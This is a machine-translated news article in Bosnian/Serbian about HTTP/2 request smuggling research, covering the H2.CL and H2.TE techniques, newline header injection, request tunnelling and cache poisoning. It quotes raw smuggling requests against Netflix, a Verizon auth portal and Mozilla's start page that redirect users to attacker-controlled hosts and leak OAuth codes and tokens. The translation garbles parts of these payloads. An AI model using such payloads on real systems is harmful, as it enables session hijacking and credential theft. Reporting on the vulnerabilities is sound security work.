Novi napad na front-end-backend sisteme koji vam omogućava da se uvučete u zahtjeve

Web sistemi u kojima frontend prihvata veze preko HTTP/2 i prenosi na backend preko HTTP/1.1 izloženi su novoj varijanti HTTP napada krijumčarenja zahteva, koji omogućava da se slanjem posebno dizajniranih zahteva klijenata uvuče u sadržaj zahtjeva drugih korisnika obrađenih u istom toku između frontenda i backenda. Napad se može koristiti za umetanje zlonamjernog JavaScript koda u sesiju sa legitimnom web lokacijom, zaobilaženje sistema kontrole pristupa i presretanje parametara autentifikacije.

Problem utiče na web proxy servere, balansere opterećenja, web akceleratore, sisteme za isporuku sadržaja i druge konfiguracije u kojima se zahtjevi preusmjeravaju prema front-end-backend shemi. Autor studije je pokazao sposobnost napada na sisteme na Netflixu, Verizonu, Bitbucketu, Netlify CDN-u i Atlassianu, te je dobio 56 dolara u programima nagrađivanja ranjivosti. Problem je također potvrđen u F5 Networks proizvodima. Delimično problem utiče na mod_proxy na Apache http serveru (CVE-2021-33193), ispravka se očekuje u verziji 2.4.49 (programeri su obavešteni o problemu početkom maja i dobili su 3 meseca da ga poprave). U nginx-u, mogućnost da se istovremeno specificiraju zaglavlja "Content-Length" i "Transfer-Encoding" je blokirana u posljednjem izdanju (1.21.1). Alati za napad su već dodani Burp kompletu alata i dostupni su kao Turbo Intruder ekstenzija.

Princip rada nove metode uvlačenja zahtjeva u promet sličan je ranjivosti koju je identificirao isti istraživač prije dvije godine, ali ograničen na frontendove koji prihvataju zahtjeve putem HTTP/1.1. Podsjetimo da u frontend-backend shemi zahtjeve klijenata prima dodatni čvor - frontend, koji uspostavlja dugotrajnu TCP vezu sa pozadinom koja direktno obrađuje zahtjeve. Kroz ovu zajedničku vezu obično se prenose zahtjevi različitih korisnika, koji slijede lanac jedan za drugim, odvojeni pomoću HTTP protokola.

Klasični napad “krijumčarenja HTTP zahtjeva” bio je zasnovan na činjenici da frontendovi i backendovi tumače korištenje HTTP zaglavlja “Content-Length” (određuje ukupnu veličinu podataka u zahtjevu) i “Transfer-Encoding: chunked” ( omogućava prijenos podataka u dijelovima) različito . Na primjer, ako frontend podržava samo "Content-Length", ali ignorira "Transfer-Encoding: chunked", tada napadač može poslati zahtjev koji sadrži zaglavlja "Content-Length" i "Transfer-Encoding: chunked", ali veličina je "Content-Length" ne odgovara veličini podijeljenog lanca. U ovom slučaju, frontend će obraditi i preusmjeriti zahtjev prema "Content-Length", a backend će čekati da se blok završi na osnovu "Transfer-Encoding: chunked", a preostali rep napadačevog zahtjeva će biti na početku stranog zahtjeva koji se prenosi sljedeće.

Za razliku od tekstualnog protokola HTTP/1.1, koji se analizira na nivou linije, HTTP/2 je binarni protokol i manipulira blokovima podataka unaprijed određene veličine. Međutim, HTTP/2 koristi pseudo-zaglavlja koja odgovaraju uobičajenim HTTP zaglavljima. Kada je u interakciji sa backend-om preko HTTP/1.1, frontend prevodi ova pseudo-zaglavlja u slična HTTP/1.1 HTTP zaglavlja. Problem je u tome što backend donosi odluke o raščlanjivanju toka na osnovu HTTP zaglavlja koje postavlja frontend, bez poznavanja parametara originalnog zahtjeva.

Uključujući u obliku pseudo-zaglavlja, vrijednosti "dužina sadržaja" i "transfer-encoding" mogu se prenijeti, uprkos činjenici da se ne koriste u HTTP / 2, jer je veličina svih podataka određena u posebno polje. Međutim, u procesu pretvaranja HTTP/2 zahtjeva u HTTP/1.1, ova zaglavlja se prenose i mogu zbuniti pozadinu. Postoje dvije glavne opcije napada: H2.TE i H2.CL, u kojima je pozadina zavedena pogrešnim kodiranjem prijenosa ili vrijednošću dužine sadržaja koja ne odgovara stvarnoj veličini tijela zahtjeva koje je frontend primio preko HTTP / 2 protokol.

Novi napad na front-end-backend sisteme koji vam omogućava da se uvučete u zahtjeve

Kao primjer H2.CL napada, pseudo-zaglavlje dužine sadržaja je pogrešno oblikovano prilikom slanja HTTP/2 zahtjeva Netflixu. Ovaj zahtjev rezultira dodatkom sličnog HTTP zaglavlja Content-Length kada se pristupa backendu putem HTTP/1.1, ali pošto je veličina u Content-Length manja od stvarne veličine, neki od podataka u repu se obrađuju kao početak sledećeg zahteva.

Na primjer, HTTP/2 zahtjev :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Poslat će zahtjev backendu: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Pošto je Content-Length postavljeno na 4, pozadina će prihvatiti samo “abcd” kao tijelo zahtjeva i obraditi ostatak “GET /n HTTP/1.1…” kao početak sljedećeg zahtjeva vezanog za drugog korisnika. Shodno tome, stream će biti nesinhroniziran, a kao odgovor na sljedeći zahtjev bit će vraćen rezultat obrade lažnog zahtjeva. U slučaju Netflixa, navođenje hosta treće strane u zaglavlju "Host:" u lažnom zahtjevu rezultiralo je odgovorom "Lokacija: https://02.rs?x.netflix.com/n" klijentu i dozvoljeno da se proizvoljni sadržaj prosljeđuje klijentu, uključujući izvršavanje vašeg JavaScript koda u kontekstu Netflix stranice.

Druga varijanta napada (H2.TE) povezana je sa zamjenom zaglavlja "Transfer-Encoding: chunked". Upotreba pseudo-zaglavlja za kodiranje prijenosa u HTTP/2 je zabranjena specifikacijom, a zahtjevi sa njim propisani su da se tretiraju kao netačni. Uprkos tome, neke implementacije frontenda zanemaruju ovaj zahtjev i dozvoljavaju korištenje pseudo-zaglavlja za kodiranje prijenosa u HTTP/2, što se prevodi u slično HTTP zaglavlje. Ako je zaglavlje “Transfer-Encoding” prisutno, backend ga može uzeti kao prioritet i analizirati podatke u dijelovima u “chunked” modu koristeći blokove različitih veličina u formatu “{size}\r\n{block} \r\n{veličina} \r\n{blok}\r\n0" uprkos početnoj podjeli po ukupnoj veličini.

Prisustvo takvog jaza je demonstrirano na primjeru Verizona. Međutim, problem se ticao portala za autentifikaciju i sistema za upravljanje sadržajem, koji koriste i sajtovi kao što su Huffington Post i Engadget. Na primjer, zahtjev klijenta preko HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Izazvan HTTP/1.1 zahtjev za backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Backend je, zauzvrat, zanemario zaglavlje "Content-Length" i izvršio podjelu u streamu na osnovu "Transfer-Encoding: chunked". U praksi, napad je omogućio preusmjeravanje korisničkih zahtjeva na vašu web lokaciju, uključujući presretanje zahtjeva koji se odnose na OAuth autentifikaciju, čiji su se parametri pojavili u zaglavlju Referer, kao i simulaciju sesije autentifikacije i iniciranje slanja akreditiva od strane korisnika. sistema na napadačev domaćin. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorizacija: Nosilac eyJhcGwiOiJIUzI1Gi1sIk…c

Za napad na HTTP/2 implementacije koje ne dozvoljavaju specificiranje pseudo-zaglavlja za kodiranje prijenosa, predložena je druga metoda koja uključuje zamjenu zaglavlja "Transfer-Encoding" pričvršćivanjem na druga pseudo-zaglavlja odvojena znakom za novi red (kada se konvertuje na HTTP/1.1 u ovom slučaju, kreiraju se dva odvojena HTTP zaglavlja).

Na primjer, Atlassian Jira i Netlify CDN (koji se koriste za opsluživanje Mozilla početne stranice u Firefoxu) su bili pogođeni ovim problemom. Konkretno, HTTP/2 zahtjev :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Dužina sadržaja: 5\r\n \r\nx=

izazvao je slanje HTTP/1.1 POST / HTTP/1.1 zahtjeva na pozadinu\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Sadržaj- Dužina: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Dužina sadržaja: 5\r\n \ r\nx=

Druga opcija za zamjenu zaglavlja "Transfer-Encoding" bila je da se prikači imenu drugog pseudo-zaglavlja ili nizu sa metodom zahtjeva. Na primjer, kada se pristupa Atlassian Jira, ime pseudo-zaglavlja "foo: bar\r\ntransfer-encoding" s vrijednošću "chunked" rezultiralo je dodavanjem HTTP zaglavlja "foo: bar" i "transfer-encoding : chunked", i navođenje u pseudo-zaglavlju ":method" vrijednosti "GET / HTTP/1.1\r\nKodiranje prijenosa: chunked" je prevedeno u "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

Istraživač koji je identificirao problem također je predložio tehniku ​​tuneliranja zahtjeva za napad na frontendove, u kojoj se za svaku IP adresu uspostavlja posebna konekcija sa backend-om i promet različitih korisnika se ne miješa. Predložena tehnika ne dozvoljava vam da intervenišete u zahtjeve drugih korisnika, ali omogućava trovanje dijeljene keš memorije, što utiče na obradu drugih zahtjeva i omogućava vam da izvršite zamjenu internih HTTP zaglavlja koja se koriste za prijenos informacija o uslugama sa frontend na pozadinu (na primjer, kada se autentikacija na frontend strani u takvim zaglavljima može poslati informacije o trenutnom korisniku backendu). Kao primjer primjene metode u praksi, korištenjem trovanja keš memorije, bilo je moguće dobiti kontrolu nad stranicama u Bitbucket servisu.

izvor: opennet.ru

Dodajte komentar